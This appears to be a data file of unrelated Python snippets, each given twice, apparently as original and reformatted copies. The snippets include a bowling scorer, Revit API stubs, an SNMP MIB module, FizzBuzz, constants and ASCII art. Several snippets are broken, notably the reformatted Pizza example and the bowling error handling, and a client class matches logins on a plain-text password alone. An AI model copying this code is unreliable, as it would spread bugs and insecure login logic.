self.check_value_range(self.throws[throw_ind + 2]) total_score += 10 + self.throws[throw_ind+1] + self.throws[throw_ind + 2] throw_ind += 1 # checking for sparse else: self.check_value_range(self.throws[throw_ind + 1]) if self.throws[throw_ind] + self.throws[throw_ind + 1] == 10: # if it is last one #print('--- pair', pair) if pair == self.game_pairs -1: total_score += 10 + self.throws[throw_ind] else: self.check_value_range(self.throws[throw_ind + 2]) total_score += 10 + self.throws[throw_ind + 2] throw_ind += 2 else: total_score += self.throws[throw_ind] + self.throws[throw_ind + 1] throw_ind += 2 print('Pair ', pair,'Score till now', total_score) return total_score def __main__(): pass
class Game(object): def __init__(self, game_pairs=0): self.throws = [] self.game_pairs = game_pairs def __call__(self, game_pairs=0): self.game_pairs = game_pairs def add_throw(self, throw): self.throws.append(throw) def check_value_range(self, value): if value < 0 or value > 10: print('Exception Scenario') raise exception('Values not in range') def get_total(self): total_score = 0 throw_ind = 0 for pair in range(self.game_pairs): self.check_value_range(self.throws[throw_ind]) if self.throws[throw_ind] == 10: if pair == self.game_pairs - 2: self.check_value_range(self.throws[throw_ind] + 1) if self.throws[throw_ind + 1] == 10: total_score += 30 else: self.check_value_range(self.throws[throw_ind + 2]) total_score += 10 + self.throws[throw_ind + 1] + self.throws[throw_ind + 2] elif pair == self.game_pairs - 1: total_score += 30 else: self.check_value_range(self.throws[throw_ind + 1]) self.check_value_range(self.throws[throw_ind + 2]) total_score += 10 + self.throws[throw_ind + 1] + self.throws[throw_ind + 2] throw_ind += 1 else: self.check_value_range(self.throws[throw_ind + 1]) if self.throws[throw_ind] + self.throws[throw_ind + 1] == 10: if pair == self.game_pairs - 1: total_score += 10 + self.throws[throw_ind] else: self.check_value_range(self.throws[throw_ind + 2]) total_score += 10 + self.throws[throw_ind + 2] throw_ind += 2 else: total_score += self.throws[throw_ind] + self.throws[throw_ind + 1] throw_ind += 2 print('Pair ', pair, 'Score till now', total_score) return total_score def __main__(): pass
class LinearArray(BaseArray, IDisposable): """ An object that represents an Array created linearly within the Revit project. """ @staticmethod def ArrayElementsWithoutAssociation( aDoc, dBView, ids, count, translationToAnchorMember, anchorMember ): """ ArrayElementsWithoutAssociation(aDoc: Document,dBView: View,ids: ICollection[ElementId],count: int,translationToAnchorMember: XYZ,anchorMember: ArrayAnchorMember) -> ICollection[ElementId] """ pass @staticmethod def ArrayElementWithoutAssociation( aDoc, dBView, id, count, translationToAnchorMember, anchorMember ): """ ArrayElementWithoutAssociation(aDoc: Document,dBView: View,id: ElementId,count: int,translationToAnchorMember: XYZ,anchorMember: ArrayAnchorMember) -> ICollection[ElementId] Creates a new linear array from a single element. aDoc: The document. dBView: The view. If it is a 2d view,translation vector must be in the view plane if the element is a view-specific element. id: The element to array. count: The number of array members to create including the initial element grouping. Must between 2 and 200. translationToAnchorMember: The translation vector for the array. anchorMember: Indicates if the translation vector specifies the location of the second member of the array,or the last member of the array. Returns: The ids of the elements created during the operation. """ pass @staticmethod def Create(aDoc, dBView, *__args): """ Create(aDoc: Document,dBView: View,ids: ICollection[ElementId],count: int,translationToAnchorMember: XYZ,anchorMember: ArrayAnchorMember) -> LinearArray Create(aDoc: Document,dBView: View,id: ElementId,count: int,translationToAnchorMember: XYZ,anchorMember: ArrayAnchorMember) -> LinearArray Creates a new linear array element from a single element. aDoc: The document. dBView: The view. If it is a 2d view,translation vector must be in the view plane if the element is a view-specific element. id: The element to array. count: The number of array members to create including the initial element grouping. Must between 2 and 200. translationToAnchorMember: The translation vector for the array. anchorMember: Indicates if the translation vector specifies the location of the second member of the array,or the last member of the array. Returns: The new linear array element. """ pass def Dispose(self): """ Dispose(self: Element,A_0: bool) """ pass def getBoundingBox(self, *args): """ getBoundingBox(self: Element,view: View) -> BoundingBoxXYZ """ pass def GetCopiedMemberIds(self): """ GetCopiedMemberIds(self: LinearArray) -> ICollection[ElementId] Retrieves the copied member Ids of the Array. Returns: The copied member Ids of the Array """ pass def GetOriginalMemberIds(self): """ GetOriginalMemberIds(self: LinearArray) -> ICollection[ElementId] Retrieves the original member Ids of the Array. Returns: The original member Ids of the Array """ pass @staticmethod def IsElementArrayable(aDoc, id): """ IsElementArrayable(aDoc: Document,id: ElementId) -> bool Indicates whether the input element is arrayable. aDoc: The document. id: The element id. Returns: True if the input element is arrayable,false otherwise. """ pass @staticmethod def IsValidArraySize(count): """ IsValidArraySize(count: int) -> bool This indicates whether the input count is valid. count: The count. Returns: True if the input count is between 2 and 200,false otherwise. """ pass def ReleaseUnmanagedResources(self, *args): """ ReleaseUnmanagedResources(self: Element,disposing: bool) """ pass def setElementType(self, *args): """ setElementType(self: Element,type: ElementType,incompatibleExceptionMessage: str) """ pass def __enter__(self, *args): """ __enter__(self: IDisposable) -> object """ pass def __exit__(self, *args): """ __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """ pass def __init__(self, *args): """ x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """ pass NumMembers = property( lambda self: object(), lambda self, v: None, lambda self: None ) """Retrieves or changes the number of the arrayed members. Get: NumMembers(self: LinearArray) -> int Set: NumMembers(self: LinearArray)=value """
class Lineararray(BaseArray, IDisposable): """ An object that represents an Array created linearly within the Revit project. """ @staticmethod def array_elements_without_association(aDoc, dBView, ids, count, translationToAnchorMember, anchorMember): """ ArrayElementsWithoutAssociation(aDoc: Document,dBView: View,ids: ICollection[ElementId],count: int,translationToAnchorMember: XYZ,anchorMember: ArrayAnchorMember) -> ICollection[ElementId] """ pass @staticmethod def array_element_without_association(aDoc, dBView, id, count, translationToAnchorMember, anchorMember): """ ArrayElementWithoutAssociation(aDoc: Document,dBView: View,id: ElementId,count: int,translationToAnchorMember: XYZ,anchorMember: ArrayAnchorMember) -> ICollection[ElementId] Creates a new linear array from a single element. aDoc: The document. dBView: The view. If it is a 2d view,translation vector must be in the view plane if the element is a view-specific element. id: The element to array. count: The number of array members to create including the initial element grouping. Must between 2 and 200. translationToAnchorMember: The translation vector for the array. anchorMember: Indicates if the translation vector specifies the location of the second member of the array,or the last member of the array. Returns: The ids of the elements created during the operation. """ pass @staticmethod def create(aDoc, dBView, *__args): """ Create(aDoc: Document,dBView: View,ids: ICollection[ElementId],count: int,translationToAnchorMember: XYZ,anchorMember: ArrayAnchorMember) -> LinearArray Create(aDoc: Document,dBView: View,id: ElementId,count: int,translationToAnchorMember: XYZ,anchorMember: ArrayAnchorMember) -> LinearArray Creates a new linear array element from a single element. aDoc: The document. dBView: The view. If it is a 2d view,translation vector must be in the view plane if the element is a view-specific element. id: The element to array. count: The number of array members to create including the initial element grouping. Must between 2 and 200. translationToAnchorMember: The translation vector for the array. anchorMember: Indicates if the translation vector specifies the location of the second member of the array,or the last member of the array. Returns: The new linear array element. """ pass def dispose(self): """ Dispose(self: Element,A_0: bool) """ pass def get_bounding_box(self, *args): """ getBoundingBox(self: Element,view: View) -> BoundingBoxXYZ """ pass def get_copied_member_ids(self): """ GetCopiedMemberIds(self: LinearArray) -> ICollection[ElementId] Retrieves the copied member Ids of the Array. Returns: The copied member Ids of the Array """ pass def get_original_member_ids(self): """ GetOriginalMemberIds(self: LinearArray) -> ICollection[ElementId] Retrieves the original member Ids of the Array. Returns: The original member Ids of the Array """ pass @staticmethod def is_element_arrayable(aDoc, id): """ IsElementArrayable(aDoc: Document,id: ElementId) -> bool Indicates whether the input element is arrayable. aDoc: The document. id: The element id. Returns: True if the input element is arrayable,false otherwise. """ pass @staticmethod def is_valid_array_size(count): """ IsValidArraySize(count: int) -> bool This indicates whether the input count is valid. count: The count. Returns: True if the input count is between 2 and 200,false otherwise. """ pass def release_unmanaged_resources(self, *args): """ ReleaseUnmanagedResources(self: Element,disposing: bool) """ pass def set_element_type(self, *args): """ setElementType(self: Element,type: ElementType,incompatibleExceptionMessage: str) """ pass def __enter__(self, *args): """ __enter__(self: IDisposable) -> object """ pass def __exit__(self, *args): """ __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """ pass def __init__(self, *args): """ x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """ pass num_members = property(lambda self: object(), lambda self, v: None, lambda self: None) 'Retrieves or changes the number of the arrayed members.\n\n\n\nGet: NumMembers(self: LinearArray) -> int\n\n\n\nSet: NumMembers(self: LinearArray)=value\n\n'
# -*- coding: utf-8 -*- """ Cuttle, the simple, extendable ORM. :license: MIT, see LICENSE for details. """ __version__ = '0.9.0.dev'
""" Cuttle, the simple, extendable ORM. :license: MIT, see LICENSE for details. """ __version__ = '0.9.0.dev'
# # PySNMP MIB module CPQRECOV-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/CPQRECOV-MIB # Produced by pysmi-0.3.4 at Mon Apr 29 18:12:06 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # OctetString, Integer, ObjectIdentifier = mibBuilder.importSymbols("ASN1", "OctetString", "Integer", "ObjectIdentifier") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ConstraintsUnion, SingleValueConstraint, ValueSizeConstraint, ValueRangeConstraint, ConstraintsIntersection = mibBuilder.importSymbols("ASN1-REFINEMENT", "ConstraintsUnion", "SingleValueConstraint", "ValueSizeConstraint", "ValueRangeConstraint", "ConstraintsIntersection") cpqHoTrapFlags, compaq = mibBuilder.importSymbols("CPQHOST-MIB", "cpqHoTrapFlags", "compaq") NotificationGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ModuleCompliance") sysName, = mibBuilder.importSymbols("SNMPv2-MIB", "sysName") Counter32, Gauge32, MibIdentifier, ModuleIdentity, TimeTicks, ObjectIdentity, iso, NotificationType, Counter64, enterprises, Unsigned32, IpAddress, MibScalar, MibTable, MibTableRow, MibTableColumn, NotificationType, Integer32, Bits = mibBuilder.importSymbols("SNMPv2-SMI", "Counter32", "Gauge32", "MibIdentifier", "ModuleIdentity", "TimeTicks", "ObjectIdentity", "iso", "NotificationType", "Counter64", "enterprises", "Unsigned32", "IpAddress", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "NotificationType", "Integer32", "Bits") DisplayString, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "TextualConvention") cpqRecovery = MibIdentifier((1, 3, 6, 1, 4, 1, 232, 13)) cpqRsPartnerFailed = NotificationType((1, 3, 6, 1, 4, 1, 232) + (0,13001)).setObjects(("SNMPv2-MIB", "sysName"), ("CPQHOST-MIB", "cpqHoTrapFlags")) cpqRsStandbyCableFailure = NotificationType((1, 3, 6, 1, 4, 1, 232) + (0,13002)).setObjects(("SNMPv2-MIB", "sysName"), ("CPQHOST-MIB", "cpqHoTrapFlags")) cpqRsStandbyFailure = NotificationType((1, 3, 6, 1, 4, 1, 232) + (0,13003)).setObjects(("SNMPv2-MIB", "sysName"), ("CPQHOST-MIB", "cpqHoTrapFlags")) cpqRsOnlineCableFailure = NotificationType((1, 3, 6, 1, 4, 1, 232) + (0,13004)).setObjects(("SNMPv2-MIB", "sysName"), ("CPQHOST-MIB", "cpqHoTrapFlags")) cpqRsFailoverFailed = NotificationType((1, 3, 6, 1, 4, 1, 232) + (0,13005)).setObjects(("SNMPv2-MIB", "sysName"), ("CPQHOST-MIB", "cpqHoTrapFlags")) mibBuilder.exportSymbols("CPQRECOV-MIB", cpqRsStandbyCableFailure=cpqRsStandbyCableFailure, cpqRsStandbyFailure=cpqRsStandbyFailure, cpqRsFailoverFailed=cpqRsFailoverFailed, cpqRecovery=cpqRecovery, cpqRsPartnerFailed=cpqRsPartnerFailed, cpqRsOnlineCableFailure=cpqRsOnlineCableFailure)
(octet_string, integer, object_identifier) = mibBuilder.importSymbols('ASN1', 'OctetString', 'Integer', 'ObjectIdentifier') (named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues') (constraints_union, single_value_constraint, value_size_constraint, value_range_constraint, constraints_intersection) = mibBuilder.importSymbols('ASN1-REFINEMENT', 'ConstraintsUnion', 'SingleValueConstraint', 'ValueSizeConstraint', 'ValueRangeConstraint', 'ConstraintsIntersection') (cpq_ho_trap_flags, compaq) = mibBuilder.importSymbols('CPQHOST-MIB', 'cpqHoTrapFlags', 'compaq') (notification_group, module_compliance) = mibBuilder.importSymbols('SNMPv2-CONF', 'NotificationGroup', 'ModuleCompliance') (sys_name,) = mibBuilder.importSymbols('SNMPv2-MIB', 'sysName') (counter32, gauge32, mib_identifier, module_identity, time_ticks, object_identity, iso, notification_type, counter64, enterprises, unsigned32, ip_address, mib_scalar, mib_table, mib_table_row, mib_table_column, notification_type, integer32, bits) = mibBuilder.importSymbols('SNMPv2-SMI', 'Counter32', 'Gauge32', 'MibIdentifier', 'ModuleIdentity', 'TimeTicks', 'ObjectIdentity', 'iso', 'NotificationType', 'Counter64', 'enterprises', 'Unsigned32', 'IpAddress', 'MibScalar', 'MibTable', 'MibTableRow', 'MibTableColumn', 'NotificationType', 'Integer32', 'Bits') (display_string, textual_convention) = mibBuilder.importSymbols('SNMPv2-TC', 'DisplayString', 'TextualConvention') cpq_recovery = mib_identifier((1, 3, 6, 1, 4, 1, 232, 13)) cpq_rs_partner_failed = notification_type((1, 3, 6, 1, 4, 1, 232) + (0, 13001)).setObjects(('SNMPv2-MIB', 'sysName'), ('CPQHOST-MIB', 'cpqHoTrapFlags')) cpq_rs_standby_cable_failure = notification_type((1, 3, 6, 1, 4, 1, 232) + (0, 13002)).setObjects(('SNMPv2-MIB', 'sysName'), ('CPQHOST-MIB', 'cpqHoTrapFlags')) cpq_rs_standby_failure = notification_type((1, 3, 6, 1, 4, 1, 232) + (0, 13003)).setObjects(('SNMPv2-MIB', 'sysName'), ('CPQHOST-MIB', 'cpqHoTrapFlags')) cpq_rs_online_cable_failure = notification_type((1, 3, 6, 1, 4, 1, 232) + (0, 13004)).setObjects(('SNMPv2-MIB', 'sysName'), ('CPQHOST-MIB', 'cpqHoTrapFlags')) cpq_rs_failover_failed = notification_type((1, 3, 6, 1, 4, 1, 232) + (0, 13005)).setObjects(('SNMPv2-MIB', 'sysName'), ('CPQHOST-MIB', 'cpqHoTrapFlags')) mibBuilder.exportSymbols('CPQRECOV-MIB', cpqRsStandbyCableFailure=cpqRsStandbyCableFailure, cpqRsStandbyFailure=cpqRsStandbyFailure, cpqRsFailoverFailed=cpqRsFailoverFailed, cpqRecovery=cpqRecovery, cpqRsPartnerFailed=cpqRsPartnerFailed, cpqRsOnlineCableFailure=cpqRsOnlineCableFailure)
#Calc sum of digits of a given no. print("enter any no.") n=int(input()) ssum=0 while(n!=0): x=n%10 n=n//10 ssum+=x print(ssum)
print('enter any no.') n = int(input()) ssum = 0 while n != 0: x = n % 10 n = n // 10 ssum += x print(ssum)
boltzmann = 1.380649e-23 ideal_gas = 8.31446261815324 mole = 6.02214076e23 coulomb = 8.9875517923e9 e0 = 8.8541878128e-12
boltzmann = 1.380649e-23 ideal_gas = 8.31446261815324 mole = 6.02214076e+23 coulomb = 8987551792.3 e0 = 8.8541878128e-12
# /$$ # | $$ # /$$$$$$ /$$$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$$ # /$$__ $$|____ /$$/ /$$__ $$ /$$__ $$ |____ $$ /$$__ $$ # | $$$$$$$$ /$$$$/ | $$ \__/| $$$$$$$$ /$$$$$$$| $$ | $$ # | $$_____/ /$$__/ | $$ | $$_____/ /$$__ $$| $$ | $$ # | $$$$$$$ /$$$$$$$$| $$ | $$$$$$$| $$$$$$$| $$$$$$$ # \_______/|________/|__/ \_______/ \_______/ \_______/ __title__ = "ezread" __description__ = ( "ezread provides a ridiculously simple way to fetch items within the JSON list." ) __url__ = "https://github.com/csurfer/ezread" __version__ = "0.0.1" __author__ = "Vishwas B Sharma" __author_email__ = "sharma.vishwas88@gmail.com" __license__ = "MIT" __copyright__ = "Copyright 2020 Vishwas B Sharma"
__title__ = 'ezread' __description__ = 'ezread provides a ridiculously simple way to fetch items within the JSON list.' __url__ = 'https://github.com/csurfer/ezread' __version__ = '0.0.1' __author__ = 'Vishwas B Sharma' __author_email__ = 'sharma.vishwas88@gmail.com' __license__ = 'MIT' __copyright__ = 'Copyright 2020 Vishwas B Sharma'
class Current: def __init__(self): self._voltage = 100000 @property def voltage(self): """" Get the current voltage""" return self._voltage class Pizza(object): def __init__(self): self.toppings = [] def __call__(self, topping): # when using '@instance_of_pizza' before a function def, the function gets passed onto 'topping' self.toppings.append(topping()) def __repr__(self): return str(self.toppings) c1 = Current() print(c1.voltage) pizza = Pizza() @pizza def cheese(): return 'cheese' @pizza def sauce(): return 'sauce' print(pizza)
class Current: def __init__(self): self._voltage = 100000 @property def voltage(self): """" Get the current voltage""" return self._voltage class Pizza(object): def __init__(self): self.toppings = [] def __call__(self, topping): self.toppings.append(topping()) def __repr__(self): return str(self.toppings) c1 = current() print(c1.voltage) pizza = pizza() @pizza def cheese(): return 'cheese' @pizza def sauce(): return 'sauce' print(pizza)
""" This file define basic configuration for RabbitMQ and Protobuf communication for the simulation nodes and the orchestrator nodes. """ base_config = { "name": "", "queues": { "obnl.simulation.node.": "on_simulation", "obnl.local.node.": "on_local", "obnl.data.node.": "on_data", }, "exchanges": { "obnl.local.node.": {"binding": ["obnl.local.node."]}, "obnl.simulation.node.": {"binding": ["obnl.simulation.node.scheduler"]}, }, } obnl_config = { "name": "scheduler", "queues": {"obnl.simulation.node.": "on_simulation"}, "exchanges": {"obnl.simulation.node.": {"binding": []}}, }
""" This file define basic configuration for RabbitMQ and Protobuf communication for the simulation nodes and the orchestrator nodes. """ base_config = {'name': '', 'queues': {'obnl.simulation.node.': 'on_simulation', 'obnl.local.node.': 'on_local', 'obnl.data.node.': 'on_data'}, 'exchanges': {'obnl.local.node.': {'binding': ['obnl.local.node.']}, 'obnl.simulation.node.': {'binding': ['obnl.simulation.node.scheduler']}}} obnl_config = {'name': 'scheduler', 'queues': {'obnl.simulation.node.': 'on_simulation'}, 'exchanges': {'obnl.simulation.node.': {'binding': []}}}
# Data Types # Strings print("Hello"[0]) # Integer print(123 + 345) # Float 3.14159 # Boolean True False
print('Hello'[0]) print(123 + 345) 3.14159 True False
""" SleekXMPP: The Sleek XMPP Library Copyright (C) 2010 Nathanael C. Fritz This file is part of SleekXMPP. See the file LICENSE for copying permission. """ __all__ = ['xep_0004', 'xep_0009', 'xep_0012', 'xep_0030', 'xep_0033', 'xep_0045', 'xep_0050', 'xep_0060', 'xep_0066', 'xep_0082', 'xep_0080', 'xep_0248', 'xep_0085', 'xep_0086', 'xep_0092', 'xep_0128', 'xep_0199', 'xep_0203', 'xep_0224', 'xep_0249', 'gmail_notify'] # Don't automatically load xep_0078
""" SleekXMPP: The Sleek XMPP Library Copyright (C) 2010 Nathanael C. Fritz This file is part of SleekXMPP. See the file LICENSE for copying permission. """ __all__ = ['xep_0004', 'xep_0009', 'xep_0012', 'xep_0030', 'xep_0033', 'xep_0045', 'xep_0050', 'xep_0060', 'xep_0066', 'xep_0082', 'xep_0080', 'xep_0248', 'xep_0085', 'xep_0086', 'xep_0092', 'xep_0128', 'xep_0199', 'xep_0203', 'xep_0224', 'xep_0249', 'gmail_notify']
# Print out numbers from 1 to 100 (including 100). # But, instead of printing multiples of 3, print "Fizz" # Instead of printing multiples of 5, print "Buzz" # Instead of printing multiples of both 3 and 5, print "FizzBuzz". for number in range(1, 101): output = '' if number % 3 == 0: output += 'Fizz' if number % 5 == 0: output += 'Buzz' if len(output): print(output) continue print(number)
for number in range(1, 101): output = '' if number % 3 == 0: output += 'Fizz' if number % 5 == 0: output += 'Buzz' if len(output): print(output) continue print(number)
class MinimalRegionSet(): def __init__(self): self.local_set = [] def add(self, region): local_set = self.local_set add = True for region_in_set in local_set: if region_in_set.contains(region): add = False break if region.contains(region_in_set): local_set.remove(region_in_set) if add: local_set.append(region) def add_all(self, regions): for region in regions: self.add(region) def contains(self, region): local_set = self.local_set for local_region in local_set: if region == local_region: return True return False def to_array(self): return self.local_set
class Minimalregionset: def __init__(self): self.local_set = [] def add(self, region): local_set = self.local_set add = True for region_in_set in local_set: if region_in_set.contains(region): add = False break if region.contains(region_in_set): local_set.remove(region_in_set) if add: local_set.append(region) def add_all(self, regions): for region in regions: self.add(region) def contains(self, region): local_set = self.local_set for local_region in local_set: if region == local_region: return True return False def to_array(self): return self.local_set
# Small alphabet e using Function def for_e(): """ *'s printed in the Shape of small e """ for row in range(5): for col in range(5): if col ==0 and row %4 !=0 or row %4 ==0 and col %4 !=0 or row ==1 or row ==3 and col ==4: print('*',end=' ') else: print(' ',end =' ') print() def while_e(): """ *'s printed in the Shape of Small e """ row =0 while row <5: col =0 while col <5: if col ==0 and row %4 !=0 or row %4 ==0 and col %4 !=0 or row ==1 or row ==3 and col ==4: print('*',end=' ') else: print(' ',end =' ') col+=1 print() row +=1
def for_e(): """ *'s printed in the Shape of small e """ for row in range(5): for col in range(5): if col == 0 and row % 4 != 0 or (row % 4 == 0 and col % 4 != 0) or row == 1 or (row == 3 and col == 4): print('*', end=' ') else: print(' ', end=' ') print() def while_e(): """ *'s printed in the Shape of Small e """ row = 0 while row < 5: col = 0 while col < 5: if col == 0 and row % 4 != 0 or (row % 4 == 0 and col % 4 != 0) or row == 1 or (row == 3 and col == 4): print('*', end=' ') else: print(' ', end=' ') col += 1 print() row += 1
class Client: """ Class that creates new instances of client """ u_list = [] def __init__(self, fn, ln, email, password): self.fn = fn self.ln = ln self.email = email self.password = password def save_client(self): """ Function to save client to list """ Client.u_list.append(self) @classmethod def find_client(cls, email, password): """ Function that takes in a password and the user Args: password ro search for Returns : Logins in user to application """ for client in cls.u_list: if client.password == password: return client
class Client: """ Class that creates new instances of client """ u_list = [] def __init__(self, fn, ln, email, password): self.fn = fn self.ln = ln self.email = email self.password = password def save_client(self): """ Function to save client to list """ Client.u_list.append(self) @classmethod def find_client(cls, email, password): """ Function that takes in a password and the user Args: password ro search for Returns : Logins in user to application """ for client in cls.u_list: if client.password == password: return client
def Mona_lisa(thoughts, eyes, eye, tongue): return f""" {thoughts} {thoughts} !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>''''''<!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!'''''\` \`\`'!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!''\` ..... \`'!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!'\` . :::::' \`'!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!' . ' .::::' \`!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!' : \`\`\`\`\` \`!!!!!!!!!!!!!! !!!!!!!!!!!!!!!! .,cchcccccc,,. \`!!!!!!!!!!!! !!!!!!!!!!!!!!! .-"?\$\$\$\$\$\$\$\$\$\$\$\$\$\$c, \`!!!!!!!!!!! !!!!!!!!!!!!!! ,ccc\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$, \`!!!!!!!!!! !!!!!!!!!!!!! z\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$;. \`!!!!!!!!! !!!!!!!!!!!! <\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$:. \`!!!!!!!! !!!!!!!!!!! \$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$h;:. !!!!!!!! !!!!!!!!!!' \$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$h;. !!!!!!! !!!!!!!!!' <\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$ !!!!!!! !!!!!!!!' \`\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$F \`!!!!!! !!!!!!!! c\$\$\$\$???\$\$\$\$\$\$\$P"" \"\"\"??????" !!!!!! !!!!!!! \`"" .,.. "\$\$\$\$F .,zcr !!!!!! !!!!!!! . dL .?\$\$\$ .,cc, .,z\$h. !!!!!! !!!!!!!! <. \$\$c= <\$d\$\$\$ <\$\$\$\$=-=+"\$\$\$\$\$\$\$ !!!!!! !!!!!!! d\$\$\$hcccd\$\$\$\$\$ d\$\$\$hcccd\$\$\$\$\$\$\$F \`!!!!! !!!!!! ,\$\$\$\$\$\$\$\$\$\$\$\$\$\$h d\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$ \`!!!!! !!!!! \`\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$<\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$' !!!!! !!!!! \`\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$"\$\$\$\$\$\$\$\$\$\$\$\$\$P> !!!!! !!!!! ?\$\$\$\$\$\$\$\$\$\$\$\$??\$c\`\$\$\$\$\$\$\$\$\$\$\$?>' \`!!!! !!!!! \`?\$\$\$\$\$\$I7?"" ,\$\$\$\$\$\$\$\$\$?>>' !!!! !!!!!. <<?\$\$\$\$\$\$c. ,d\$\$?\$\$\$\$\$F>>'' \`!!! !!!!!! <i?\$P"??\$\$r--"?"" ,\$\$\$\$h;>'' \`!!! !!!!!! \$\$\$hccccccccc= cc\$\$\$\$\$\$\$>>' !!! !!!!! \`?\$\$\$\$\$\$F"\"\"\" \`"\$\$\$\$\$>>>'' \`!! !!!!! "?\$\$\$\$\$cccccc\$\$\$\$??>>>>' !! !!!!> "\$\$\$\$\$\$\$\$\$\$\$\$\$F>>>>'' \`! !!!!! "\$\$\$\$\$\$\$\$???>''' ! !!!!!> \`"\"\"\"\" \` !!!!!!; . \` !!!!!!! ?h. !!!!!!!! \$\$c, !!!!!!!!> ?\$\$\$h. .,c !!!!!!!!! \$\$\$\$\$\$\$\$\$hc,.,,cc\$\$\$\$\$ !!!!!!!!! .,zcc\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$ !!!!!!!!! .z\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$ !!!!!!!!! ,d\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$ . !!!!!!!!! ,d\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$ !! !!!!!!!!! ,d\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$ ,!' !!!!!!!!> c\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$. !' !!!!!!'' ,d\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$> ' !!!'' z\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$> !' ,\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$> .. z\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$' ;!!!!''\` \$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$F ,;;!'\`' .'' <\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$> ,;'\`' ,; \`\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$F -' ,;!!' "?\$\$\$\$\$\$\$\$\$\$?\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$F .<!!!''' <! !> ""??\$\$\$?C3\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$"" ;!''' !!! ;!!!!;, \`"''""????\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$"" ,;-'' ',! ;!!!!<!!!; . \`"\"\"\"\"\"\"\"\"\"\" \`' ' ' !!!! ;!!! ;!!!!>;,;, .. ' . ' ' !!' ,;!!! ;'\`!!!!!!!!;!!!!!; . >' .'' ; !!' ;!!'!';! !! !!!!!!!!!!!!! ' -' <!! !! \`!;! \`!' !!!!!!!!!!<! . \`! ;! ;!!! <' <!!!! \`!!! < / \""" !> <!! ;' !!!!' !!';! ;' ! ! !!! ! \`!!! ;!! ! ' ' ; \`! \`!! ,' !' ;!' ' /\`! ! < !! < ' / ;! >;! ;> !' ; !! ' ' ;! > ! ' """
